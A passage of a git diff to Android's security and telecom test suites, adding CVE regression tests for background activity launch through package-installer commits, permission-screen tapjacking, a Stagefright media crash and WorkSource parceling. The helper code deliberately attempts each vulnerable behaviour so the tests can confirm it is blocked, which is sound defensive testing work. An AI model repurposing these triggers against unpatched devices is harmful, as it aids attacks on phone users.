Assert.assertEquals(TEST_APP_NAME, packageName);
}
+
+ @Test
+ @AsbSecurityTest(cveBugId = 230492955)
+ public void commitSessionInBackground_withActivityIntentSender_doesNotLaunchActivity()
+ throws Exception {
+ Install.single(TEST_APP).commit();
+ // An activity with the system uid in the foreground is necessary to this test.
+ goToSettings();
+ final Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
+ final ActivityMonitor monitor = instrumentation.addMonitor(
+ BackgroundLaunchActivity.class.getName(), null /* result */, false /* block */);
+ try {
+ sendActionToBackgroundReceiver(
+ ACTION_COMMIT_WITH_ACTIVITY_INTENT_SENDER,
+ BACKGROUND_LAUNCH_ACTIVITY_COMPONENT_NAME);
+
+ final Activity activity = monitor.waitForActivityWithTimeout(DEFAULT_TIMEOUT_MS);
+ if (activity != null) {
+ instrumentation.runOnMainSync(() -> activity.finish());
+ }
+ Assert.assertNull(activity);
+ } finally {
+ instrumentation.removeMonitor(monitor);
+ }
+ }
+
+ private void goToSettings() {
+ SystemUtil.runShellCommand(
+ "am start -W --user current -a " + Settings.ACTION_SETTINGS);
+ }
+
+ private Bundle sendActionToBackgroundReceiver(String action, ComponentName statusReceiver)
+ throws Exception {
+ final Intent intent = new Intent(action)
+ .setComponent(BACKGROUND_RECEIVER_COMPONENT_NAME);
+ if (statusReceiver != null) {
+ intent.putExtra(Intent.EXTRA_COMPONENT_NAME, statusReceiver);
+ }
+ final ConditionVariable latch = new ConditionVariable();
+ final AtomicReference<Bundle> resultReference = new AtomicReference<>();
+ final RemoteCallback remoteCallback = new RemoteCallback(
+ bundle -> {
+ resultReference.set(bundle);
+ latch.open();
+ },
+ sHandler);
+ intent.putExtra(EXTRA_REMOTE_CALLBACK, remoteCallback);
+ sContext.sendBroadcast(intent);
+
+ if (!latch.block(DEFAULT_TIMEOUT_MS)) {
+ throw new TimeoutException(
+ "Latch timed out while awaiting a response from background receiver");
+ }
+ final Bundle bundle = resultReference.get();
+ if (bundle != null && bundle.containsKey(KEY_ERROR)) {
+ throw Objects.requireNonNull((Exception) bundle.getSerializable(KEY_ERROR));
+ }
+ return bundle;
+ }
+
+ // An activity to receive status of a committed session
+ public static class BackgroundLaunchActivity extends Activity {
+ }
}
diff --git a/tests/tests/security/src/android/security/cts/PermissionReviewTapjackingTest.kt b/tests/tests/security/src/android/security/cts/PermissionReviewTapjackingTest.kt
index 32b1941..97b0bd7 100644
--- a/tests/tests/security/src/android/security/cts/PermissionReviewTapjackingTest.kt
+++ b/tests/tests/security/src/android/security/cts/PermissionReviewTapjackingTest.kt
@@ -16,9 +16,7 @@
package android.security.cts
-import android.app.Instrumentation
import android.app.UiAutomation
-import android.content.Context
import android.content.ComponentName
import android.content.Intent
import android.content.pm.PackageManager
@@ -29,9 +27,9 @@
import android.support.test.uiautomator.UiDevice
import android.support.test.uiautomator.UiObject2
import android.support.test.uiautomator.Until
-import androidx.test.InstrumentationRegistry
import com.android.compatibility.common.util.SystemUtil.runShellCommand
import com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase
import org.junit.After
import org.junit.Assert
import org.junit.Assume.assumeFalse
@@ -42,7 +40,7 @@
/**
* Tests permission review screen can't be tapjacked
*/
-class PermissionReviewTapjackingTest {
+class PermissionReviewTapjackingTest : StsExtraBusinessLogicTestCase {
companion object {
const val APK_DIRECTORY = "/data/local/tmp/cts/permission3"
@@ -56,11 +54,9 @@
private const val HELPER_PACKAGE_NAME = "android.permission3.cts.helper.overlay"
}
- protected val instrumentation: Instrumentation = InstrumentationRegistry.getInstrumentation()
- protected val context: Context = instrumentation.context
- protected val uiAutomation: UiAutomation = instrumentation.uiAutomation
- protected val uiDevice: UiDevice = UiDevice.getInstance(instrumentation)
- protected val packageManager: PackageManager = context.packageManager
+ protected val uiAutomation: UiAutomation = getInstrumentation().uiAutomation
+ protected val uiDevice: UiDevice = UiDevice.getInstance(getInstrumentation())
+ protected val packageManager: PackageManager = getContext().packageManager
private var screenTimeoutBeforeTest: Long = 0
@@ -94,19 +90,21 @@
waitForIdle()
}
+ constructor() : super()
+
@Before
fun setUp() {
runWithShellPermissionIdentity {
screenTimeoutBeforeTest = Settings.System.getLong(
- context.contentResolver, Settings.System.SCREEN_OFF_TIMEOUT
+ getContext().contentResolver, Settings.System.SCREEN_OFF_TIMEOUT
)
Settings.System.putLong(
- context.contentResolver, Settings.System.SCREEN_OFF_TIMEOUT, 1800000L
+ getContext().contentResolver, Settings.System.SCREEN_OFF_TIMEOUT, 1800000L
)
}
uiDevice.wakeUp()
- runShellCommand(instrumentation, "wm dismiss-keyguard")
+ runShellCommand(getInstrumentation(), "wm dismiss-keyguard")
uiDevice.findObject(By.text("Close"))?.click()
}
@@ -126,7 +124,7 @@
fun tearDown() {
runWithShellPermissionIdentity {
Settings.System.putLong(
- context.contentResolver, Settings.System.SCREEN_OFF_TIMEOUT,
+ getContext().contentResolver, Settings.System.SCREEN_OFF_TIMEOUT,
screenTimeoutBeforeTest
)
}
@@ -143,13 +141,13 @@
@Test
@AsbSecurityTest(cveBugId = [176094367])
fun testOverlaysAreHidden() {
- context.startActivity(Intent()
+ getContext().startActivity(Intent()
.setComponent(ComponentName(HELPER_PACKAGE_NAME,
"$HELPER_PACKAGE_NAME.OverlayActivity"))
.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK))
findOverlay()
- context.startActivity(Intent()
+ getContext().startActivity(Intent()
.setComponent(ComponentName(APP_PACKAGE_NAME,
"$APP_PACKAGE_NAME.FinishOnCreateActivity"))
.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index dd8c939..4facc06 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -1377,8 +1377,10 @@
};
server.start();
String uri = "rtsp://127.0.0.1:8080/cve_2016_3880";
- final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener(new CrashUtils.Config()
- .setSignals(CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT));
+ final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener(
+ new CrashUtils.Config()
+ .setSignals(CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT)
+ .appendAbortMessageExcludes("CHECK\\(IsRTSPVersion"));
LooperThread t = new LooperThread(new Runnable() {
@Override
public void run() {
@@ -1809,6 +1811,12 @@
before any existing test methods
***********************************************************/
@Test
+ @AsbSecurityTest(cveBugId = 240971780)
+ public void testStagefright_cve_2022_33234() throws Exception {
+ doStagefrightTest(R.raw.cve_2022_33234);
+ }
+
+ @Test
@AsbSecurityTest(cveBugId = 235102508)
public void testStagefright_cve_2022_25669() throws Exception {
doStagefrightTest(R.raw.cve_2022_25669);
diff --git a/tests/tests/security/src/android/security/cts/WorkSourceTest.java b/tests/tests/security/src/android/security/cts/WorkSourceTest.java
new file mode 100644
index 0000000..1438b29
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/WorkSourceTest.java
@@ -0,0 +1,67 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.os.Parcel;
+import android.os.WorkSource;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class WorkSourceTest extends StsExtraBusinessLogicTestCase {
+ private static final int TEST_PID = 6512;
+ private static final String TEST_PACKAGE_NAME = "android.security.cts";
+
+ @Test
+ @AsbSecurityTest(cveBugId = 220302519)
+ public void testWorkChainParceling() {
+ WorkSource ws = new WorkSource(TEST_PID, TEST_PACKAGE_NAME);
+ // Create a WorkChain so the mChains becomes non-null
+ ws.createWorkChain();
+ assertNotNull("WorkChains must be non-null in order to properly test parceling",
+ ws.getWorkChains());
+ // Then clear it so it's an empty list.
+ ws.getWorkChains().clear();
+ assertTrue("WorkChains must be empty in order to properly test parceling",
+ ws.getWorkChains().isEmpty());
+
+ Parcel p = Parcel.obtain();
+ ws.writeToParcel(p, 0);
+ p.setDataPosition(0);
+
+ // Read the Parcel back out and validate the two Parcels are identical
+ WorkSource readWs = WorkSource.CREATOR.createFromParcel(p);
+ assertNotNull(readWs.getWorkChains());
+ assertTrue(readWs.getWorkChains().isEmpty());
+ assertEquals(ws, readWs);
+
+ // Assert that we've read every byte out of the Parcel.
+ assertEquals(p.dataSize(), p.dataPosition());
+
+ p.recycle();
+ }
+}
diff --git a/tests/tests/security/testdata/packageinstallertestapp.xml b/tests/tests/security/testdata/packageinstallertestapp.xml
index 7c35c11..00c1833 100644
--- a/tests/tests/security/testdata/packageinstallertestapp.xml
+++ b/tests/tests/security/testdata/packageinstallertestapp.xml
@@ -33,5 +33,6 @@
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
+ <receiver android:name=".BackgroundReceiver" android:exported="true" />
</application>
</manifest>
diff --git a/tests/tests/security/testdata/src/android/security/cts/packageinstallertestapp/BackgroundReceiver.java b/tests/tests/security/testdata/src/android/security/cts/packageinstallertestapp/BackgroundReceiver.java
new file mode 100644
index 0000000..fa3d051
--- /dev/null
+++ b/tests/tests/security/testdata/src/android/security/cts/packageinstallertestapp/BackgroundReceiver.java
@@ -0,0 +1,112 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.packageinstallertestapp;
+
+import static android.content.Intent.EXTRA_COMPONENT_NAME;
+import static android.content.Intent.EXTRA_REMOTE_CALLBACK;
+import static android.content.pm.PackageInstaller.SessionParams.MODE_FULL_INSTALL;
+
+import android.app.ActivityManager;
+import android.app.ActivityManager.RunningAppProcessInfo;
+import android.app.PendingIntent;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentSender;
+import android.content.pm.PackageInstaller;
+import android.content.pm.PackageInstaller.Session;
+import android.content.pm.PackageInstaller.SessionParams;
+import android.os.Bundle;
+import android.os.RemoteCallback;
+
+import java.io.IOException;
+import java.util.List;
+
+/**
+ * A receiver to invoke APIs in the background.
+ */
+public class BackgroundReceiver extends BroadcastReceiver {
+ private static final String PKG_NAME = "android.security.cts.packageinstallertestapp";
+ private static final String KEY_ERROR = "key_error";
+ private static final String ACTION_COMMIT_WITH_ACTIVITY_INTENT_SENDER = PKG_NAME
+ + ".action.COMMIT_WITH_ACTIVITY_INTENT_SENDER";
+
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ final RemoteCallback remoteCallback = intent.getParcelableExtra(EXTRA_REMOTE_CALLBACK);
+ final ComponentName statusReceiver = intent.getParcelableExtra(EXTRA_COMPONENT_NAME);
+ final String action = intent.getAction();
+
+ if (!isAppInBackground(context)) {
+ sendError(remoteCallback,
+ new IllegalStateException("App is not in background"));
+ return;
+ }
+ try {
+ if (action.equals(ACTION_COMMIT_WITH_ACTIVITY_INTENT_SENDER)) {
+ final IntentSender intentSender = PendingIntent.getActivity(context,
+ 0 /* requestCode */,
+ new Intent().setComponent(statusReceiver),
+ PendingIntent.FLAG_IMMUTABLE)
+ .getIntentSender();
+ sendInstallCommit(context, remoteCallback, intentSender);
+ } else {
+ sendError(remoteCallback,
+ new IllegalArgumentException("Unknown action: " + action));
+ }
+ } catch (Throwable e) {
+ sendError(remoteCallback, e);
+ }
+ }
+
+ private static boolean isAppInBackground(Context context) {
+ final ActivityManager activityManager = context.getSystemService(ActivityManager.class);
+ final List<RunningAppProcessInfo> appProcesses = activityManager.getRunningAppProcesses();
+ final String packageName = context.getPackageName();
+ final RunningAppProcessInfo appInfo = appProcesses.stream()
+ .filter(app -> app.processName.equals(packageName))
+ .findAny().orElse(null);
+ if (appInfo != null
+ && appInfo.importance >= RunningAppProcessInfo.IMPORTANCE_SERVICE) {
+ return true;
+ }
+ return false;
+ }
+
+ private static void sendInstallCommit(Context context, RemoteCallback remoteCallback,
+ IntentSender intentSender) throws IOException {
+ final PackageInstaller packageInstaller =
+ context.getPackageManager().getPackageInstaller();
+ final int sessionId = packageInstaller.createSession(
+ new SessionParams(MODE_FULL_INSTALL));
+ final Session session = packageInstaller.openSession(sessionId);
+ session.commit(intentSender);
+ sendSuccess(remoteCallback);
+ }
+
+ private static void sendError(RemoteCallback remoteCallback, Throwable failure) {
+ Bundle result = new Bundle();
+ result.putSerializable(KEY_ERROR, failure);
+ remoteCallback.sendResult(result);
+ }
+
+ private static void sendSuccess(RemoteCallback remoteCallback) {
+ Bundle result = new Bundle();
+ remoteCallback.sendResult(result);
+ }
+}
diff --git a/tests/tests/slice/Android.bp b/tests/tests/slice/Android.bp
index 2fc8f01..0764a71 100644
--- a/tests/tests/slice/Android.bp
+++ b/tests/tests/slice/Android.bp
@@ -31,6 +31,7 @@
"metrics-helper-lib",
"mockito-target-inline-minus-junit4",
"platform-test-annotations",
+ "sts-device-util",
"ub-uiautomator",
],
compile_multilib: "both",
diff --git a/tests/tests/slice/src/android/slice/cts/SliceProviderTest.kt b/tests/tests/slice/src/android/slice/cts/SliceProviderTest.kt
index 4533fa2..a179afa 100644
--- a/tests/tests/slice/src/android/slice/cts/SliceProviderTest.kt
+++ b/tests/tests/slice/src/android/slice/cts/SliceProviderTest.kt
@@ -24,6 +24,7 @@
import android.platform.test.annotations.AsbSecurityTest
import androidx.test.rule.ActivityTestRule
import androidx.test.runner.AndroidJUnit4
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase
import org.junit.Before
import org.junit.Assume.assumeFalse
@@ -39,7 +40,7 @@
private const val SHADY_ACTION_URI_STRING = "content://$SUSPICIOUS_AUTHORITY$ACTION_BLUETOOTH"
@RunWith(AndroidJUnit4::class)
-class SliceProviderTest {
+class SliceProviderTest : StsExtraBusinessLogicTestCase {
@Rule @JvmField var activityTestRule = ActivityTestRule(Launcher::class.java)
@@ -51,6 +52,8 @@
private var isSlicesDisabled: Boolean = false
+ constructor() : super()
+
@Before
fun setUp() {
contentResolver = activityTestRule.activity.contentResolver
diff --git a/tests/tests/syncmanager/AndroidTest.xml b/tests/tests/syncmanager/AndroidTest.xml
index 4c53d79..72e13ae 100644
--- a/tests/tests/syncmanager/AndroidTest.xml
+++ b/tests/tests/syncmanager/AndroidTest.xml
@@ -48,6 +48,8 @@
</target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.content.syncmanager.cts" />
- <option name="runtime-hint" value="10m00s" />
+ <!-- max timeout of 10 min for each test -->
+ <option name="test-timeout" value="600000" />
+ <option name="runtime-hint" value="20m00s" />
</test>
</configuration>
diff --git a/tests/tests/telecom/AndroidManifest.xml b/tests/tests/telecom/AndroidManifest.xml
index 6b0ec4a..6718ecf 100644
--- a/tests/tests/telecom/AndroidManifest.xml
+++ b/tests/tests/telecom/AndroidManifest.xml
@@ -69,6 +69,15 @@
</intent-filter>
</service>
+ <service android:name=".NullBindingCallScreeningService"
+ android:permission="android.permission.BIND_SCREENING_SERVICE"
+ android:enabled="false"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.telecom.CallScreeningService"/>
+ </intent-filter>
+ </service>
+
<service android:name="android.telecom.cts.MockInCallService"
android:permission="android.permission.BIND_INCALL_SERVICE" >
<intent-filter>
diff --git a/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java b/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
index b45180e..ca2666b 100644
--- a/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
+++ b/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
@@ -75,6 +75,7 @@
public static final int FLAG_REGISTER = 0x1;
public static final int FLAG_ENABLE = 0x2;
public static final int FLAG_SET_DEFAULT = 0x4;
+ public static final int FLAG_PHONE_ACCOUNT_HANDLES_CONTENT_SCHEME = 0x8;
// Don't accidently use emergency number.
private static int sCounter = 5553638;
@@ -223,7 +224,12 @@
CtsConnectionService.setUp(this.connectionService);
if ((flags & FLAG_REGISTER) != 0) {
- mTelecomManager.registerPhoneAccount(TestUtils.TEST_PHONE_ACCOUNT);
+ if ((flags & FLAG_PHONE_ACCOUNT_HANDLES_CONTENT_SCHEME) != 0) {
+ mTelecomManager.registerPhoneAccount(
+ TestUtils.TEST_PHONE_ACCOUNT_THAT_HANDLES_CONTENT_SCHEME);
+ } else {
+ mTelecomManager.registerPhoneAccount(TestUtils.TEST_PHONE_ACCOUNT);
+ }
}
if ((flags & FLAG_ENABLE) != 0) {
TestUtils.enablePhoneAccount(getInstrumentation(), TestUtils.TEST_PHONE_ACCOUNT_HANDLE);
@@ -563,6 +569,29 @@
}
/**
+ * Verifies that a call was not placed
+ */
+ void placeAndVerifyNoCall(Bundle extras) {
+ assertEquals("Lock should have no permits!", 0, mInCallCallbacks.lock.availablePermits());
+ placeNewCallWithPhoneAccount(extras, 0);
+
+ try {
+ if (!mInCallCallbacks.lock.tryAcquire(TestUtils.WAIT_FOR_CALL_ADDED_TIMEOUT_S,
+ TimeUnit.SECONDS)) {
+ }
+ } catch (InterruptedException e) {
+ Log.i(TAG, "Test interrupted!");
+ }
+
+ // Make sure any procedures to disconnect existing calls (makeRoomForOutgoingCall)
+ // complete successfully
+ TestUtils.waitOnLocalMainLooper(WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+ TestUtils.waitOnAllHandlers(getInstrumentation());
+
+ assertNull("Service should be null since call should not have been placed",
+ mInCallCallbacks.getService());
+ }
+ /**
* Puts Telecom in a state where there is an active call provided by the
* {@link CtsConnectionService} which can be tested.
*/
@@ -676,6 +705,21 @@
return null;
}
+ void verifyNoConnectionForOutgoingCall() {
+ try {
+ if (!connectionService.lock.tryAcquire(TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS,
+ TimeUnit.MILLISECONDS)) {
+ //fail("No outgoing call connection requested by Telecom");
+ }
+ } catch (InterruptedException e) {
+ Log.i(TAG, "Test interrupted!");
+ }
+
+ assertThat("Telecom should not create outgoing connection for outgoing call",
+ connectionService.outgoingConnections.size(), equalTo(0));
+ return;
+ }
+
MockConnection verifyConnectionForIncomingCall() {
// Assuming only 1 connection present
return verifyConnectionForIncomingCall(0);
diff --git a/tests/tests/telecom/src/android/telecom/cts/MissedCallTest.java b/tests/tests/telecom/src/android/telecom/cts/MissedCallTest.java
index ee9359c..5043e15 100644
--- a/tests/tests/telecom/src/android/telecom/cts/MissedCallTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/MissedCallTest.java
@@ -17,6 +17,7 @@
package android.telecom.cts;
import android.content.Intent;
+import android.os.Process;
import android.telecom.Call;
import android.telecom.Connection;
import android.telecom.DisconnectCause;
@@ -29,6 +30,8 @@
TestUtils.InvokeCounter mShowMissedCallNotificationIntentCounter =
new TestUtils.InvokeCounter("ShowMissedCallNotificationIntent");
+ private static final String CMD_DEVICE_IDLE_TEMP_EXEMPTIONS = "cmd deviceidle tempwhitelist";
+
@Override
protected void setUp() throws Exception {
super.setUp();
@@ -71,6 +74,15 @@
connection.setDisconnected(new DisconnectCause(DisconnectCause.MISSED));
connection.destroy();
mShowMissedCallNotificationIntentCounter.waitForCount(1);
+ assertTrue("After missing a call, if the default dialer is handling the missed call "
+ + "notification, then it must be in the temporary power exemption list.",
+ isOnTemporaryPowerExemption());
}
+ private boolean isOnTemporaryPowerExemption() throws Exception {
+ String exemptions = TestUtils.executeShellCommand(
+ getInstrumentation(), CMD_DEVICE_IDLE_TEMP_EXEMPTIONS);
+ // Just check that this process's UID is in the result.
+ return exemptions.contains(String.valueOf(Process.myUid()));
+ }
}
diff --git a/tests/tests/telecom/src/android/telecom/cts/NullBindingCallScreeningService.java b/tests/tests/telecom/src/android/telecom/cts/NullBindingCallScreeningService.java
new file mode 100644
index 0000000..6b6e5ed
--- /dev/null
+++ b/tests/tests/telecom/src/android/telecom/cts/NullBindingCallScreeningService.java
@@ -0,0 +1,82 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telecom.cts;
+
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.os.IBinder;
+import android.telecom.Call;
+import android.telecom.CallScreeningService;
+import android.util.Log;
+
+import java.util.concurrent.CountDownLatch;
+
+/**
+ * Provides a minimal CTS-test implementation of {@link CallScreeningService}.
+ * This emulates an implementation of {@link CallScreeningService} that returns a null binding.
+ * This is used to test null binding cases to ensure we unbind the service when a null binding is
+ * received from onBind.
+ */
+public class NullBindingCallScreeningService extends CallScreeningService {
+ private static final String TAG = NullBindingCallScreeningService.class.getSimpleName();
+ public static CountDownLatch sBindLatch = new CountDownLatch(1);
+ public static CountDownLatch sUnbindLatch = new CountDownLatch(1);
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ Log.i(TAG, "onBind: returning null service");
+ sUnbindLatch = new CountDownLatch(1);
+ sBindLatch.countDown();
+ return null;
+ }
+
+ @Override
+ public boolean onUnbind(Intent intent) {
+ Log.i(TAG, "onUnbind: unbinding service");
+ sBindLatch = new CountDownLatch(1);
+ sUnbindLatch.countDown();
+ return false;
+ }
+
+ @Override
+ public void onScreenCall(Call.Details callDetails) {
+ Log.i(TAG, "onScreenCall");
+ }
+
+ public static void resetBindLatches() {
+ sBindLatch = new CountDownLatch(1);
+ sUnbindLatch = new CountDownLatch(1);
+ }
+
+ public static void enableNullBindingCallScreeningService(Context context) {
+ ComponentName componentName = new ComponentName(context,
+ NullBindingCallScreeningService.class);
+ context.getPackageManager().setComponentEnabledSetting(componentName,
+ PackageManager.COMPONENT_ENABLED_STATE_ENABLED,
+ PackageManager.DONT_KILL_APP);
+ }
+
+ public static void disableNullBindingCallScreeningService(Context context) {
+ ComponentName componentName = new ComponentName(context,
+ NullBindingCallScreeningService.class);
+ context.getPackageManager().setComponentEnabledSetting(componentName,
+ PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
+ PackageManager.DONT_KILL_APP);
+ }
+}
diff --git a/tests/tests/telecom/src/android/telecom/cts/NullBindingCallScreeningServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/NullBindingCallScreeningServiceTest.java
new file mode 100644
index 0000000..b88643a
--- /dev/null
+++ b/tests/tests/telecom/src/android/telecom/cts/NullBindingCallScreeningServiceTest.java
@@ -0,0 +1,145 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telecom.cts;
+
+import static android.telecom.cts.TestUtils.waitOnAllHandlers;
+
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
+import android.app.role.RoleManager;
+import android.content.Context;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.Process;
+import android.os.UserHandle;
+import android.telecom.TelecomManager;
+
+import java.util.concurrent.Executor;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+public class NullBindingCallScreeningServiceTest extends BaseTelecomTestWithMockServices {
+ private static final int ASYNC_TIMEOUT = 10000;
+ private static final String ROLE_CALL_SCREENING = RoleManager.ROLE_CALL_SCREENING;
+ private static final Uri TEST_OUTGOING_NUMBER = Uri.fromParts("tel", "6505551212", null);
+
+ private RoleManager mRoleManager;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ if (!mShouldTestTelecom) {
+ return;
+ }
+ NullBindingCallScreeningService.enableNullBindingCallScreeningService(mContext);
+ mRoleManager = (RoleManager) mContext.getSystemService(Context.ROLE_SERVICE);
+ setupConnectionService(null, FLAG_REGISTER | FLAG_ENABLE);
+ // Ensure NullBindingCallScreeningService pkg holds the call screening role.
+ addRoleHolder(ROLE_CALL_SCREENING,
+ NullBindingCallScreeningService.class.getPackage().getName());
+ NullBindingCallScreeningService.resetBindLatches();
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ super.tearDown();
+ if (!mShouldTestTelecom) {
+ return;
+ }
+ // Remove the app from the screening role.
+ removeRoleHolder(ROLE_CALL_SCREENING,
+ NullBindingCallScreeningService.class.getPackage().getName());
+ NullBindingCallScreeningService.disableNullBindingCallScreeningService(mContext);
+ }
+
+ public void testNullBindingOnIncomingCall() throws Exception {
+ Uri testNumber = createRandomTestNumber();
+ Bundle extras = new Bundle();
+ extras.putParcelable(TelecomManager.EXTRA_INCOMING_CALL_ADDRESS, testNumber);
+
+ // Verify that binding latch counts are reset for testing
+ assertBindLatchInit();
+ // Add a new incoming call
+ mTelecomManager.addNewIncomingCall(TestUtils.TEST_PHONE_ACCOUNT_HANDLE, extras);
+ // Assert unbind after onBind return a null service
+ assertBindLatchCountDown();
+ // Wait until the new incoming call is processed. Needed for proper tear down.
+ waitOnAllHandlers(getInstrumentation());
+ }
+
+ public void testNullBindingOnOutgoingCall() throws Exception {
+ Uri testNumber = createRandomTestNumber();
+ Bundle extras = new Bundle();
+ extras.putParcelable(TestUtils.EXTRA_PHONE_NUMBER, TEST_OUTGOING_NUMBER);
+
+ // Verify that binding latch counts are reset for testing
+ assertBindLatchInit();
+ // Create a new outgoing call.
+ mTelecomManager.placeCall(testNumber, extras);
+ // Assert unbind after onBind return a null service
+ assertBindLatchCountDown();
+ }
+
+ private void assertBindLatchInit() {
+ assertTrue(NullBindingCallScreeningService.sUnbindLatch.getCount() == 1);
+ assertTrue(NullBindingCallScreeningService.sBindLatch.getCount() == 1);
+ }
+
+ private void assertBindLatchCountDown() {
+ assertTrue(TestUtils.waitForLatchCountDown(NullBindingCallScreeningService.sBindLatch));
+ assertTrue(TestUtils.waitForLatchCountDown(NullBindingCallScreeningService.sUnbindLatch));
+ }
+
+ private void addRoleHolder(String roleName, String packageName)
+ throws Exception {
+ UserHandle user = Process.myUserHandle();
+ Executor executor = mContext.getMainExecutor();
+ LinkedBlockingQueue<Boolean> queue = new LinkedBlockingQueue(1);
+
+ runWithShellPermissionIdentity(() -> mRoleManager.addRoleHolderAsUser(roleName,
+ packageName, RoleManager.MANAGE_HOLDERS_FLAG_DONT_KILL_APP, user, executor,
+ successful -> {
+ try {
+ queue.put(successful);
+ } catch (InterruptedException e) {
+ e.printStackTrace();
+ }
+ }));
+ boolean result = queue.poll(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
+ assertTrue(result);
+ }
+
+ private void removeRoleHolder(String roleName, String packageName)
+ throws Exception {
+ UserHandle user = Process.myUserHandle();
+ Executor executor = mContext.getMainExecutor();
+ LinkedBlockingQueue<Boolean> queue = new LinkedBlockingQueue(1);
+
+ runWithShellPermissionIdentity(() -> mRoleManager.removeRoleHolderAsUser(roleName,
+ packageName, RoleManager.MANAGE_HOLDERS_FLAG_DONT_KILL_APP, user, executor,
+ successful -> {
+ try {
+ queue.put(successful);
+ } catch (InterruptedException e) {
+ e.printStackTrace();
+ }
+ }));
+ boolean result = queue.poll(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
+ assertTrue(result);
+ }
+}
+
diff --git a/tests/tests/telecom/src/android/telecom/cts/OutgoingCallTest.java b/tests/tests/telecom/src/android/telecom/cts/OutgoingCallTest.java
index 494b2c8..5391ecb 100644
--- a/tests/tests/telecom/src/android/telecom/cts/OutgoingCallTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/OutgoingCallTest.java
@@ -16,16 +16,30 @@
package android.telecom.cts;
+import static android.telecom.Call.STATE_SELECT_PHONE_ACCOUNT;
+import static android.telephony.TelephonyManager.CALL_STATE_RINGING;
+
+import android.content.ContentValues;
import android.content.Context;
+import android.content.ContentProviderOperation;
+import android.content.ContentResolver;
import android.media.AudioManager;
import android.net.Uri;
import android.os.Bundle;
+import android.provider.Contacts;
+import android.provider.ContactsContract;
+import android.telecom.Call;
